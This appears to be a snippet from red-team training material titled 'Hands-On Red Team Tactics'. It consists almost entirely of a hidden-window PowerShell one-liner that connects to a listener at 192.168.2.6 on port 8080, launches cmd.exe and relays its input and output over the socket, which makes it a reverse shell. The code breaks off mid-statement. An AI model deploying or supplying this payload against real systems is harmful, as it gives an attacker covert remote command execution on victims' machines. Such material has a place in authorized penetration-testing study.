Hands-On Red Team Tactics

Powershell reverse shell

powershell -w hidden -nop -c function RSC{if ($c.Connected -eq $true) {$c.Close()};if ($p.ExitCode -ne $null) {$p.Close()};exit;};$a='192.168.2.6';$p='8080';$c=New-Object system.net.sockets.tcpclient;$c.connect($a,$p);$s=$c.GetStream();$nb=New-Object System.Byte[] $c.ReceiveBufferSize;$p=New-Object System.Diagnostics.Process;$p.StartInfo.FileName='cmd.exe';$p.StartInfo.RedirectStandardInput=1;$p.StartInfo.RedirectStandardOutput=1;$p.StartInfo.UseShellExecute=0;$p.Start();$is=$p.StandardInput;$os=$p.StandardOutput;Start-Sleep 1;$e=new-object System.Text.AsciiEncoding;while($os.Peek() -ne -1){$o += $e.GetString($os.Read())};$s.Write($e.GetBytes($o),0,$o.Length);$o=$null;$d=$false;$t=0;while (-not $d) {if ($c.Connected ...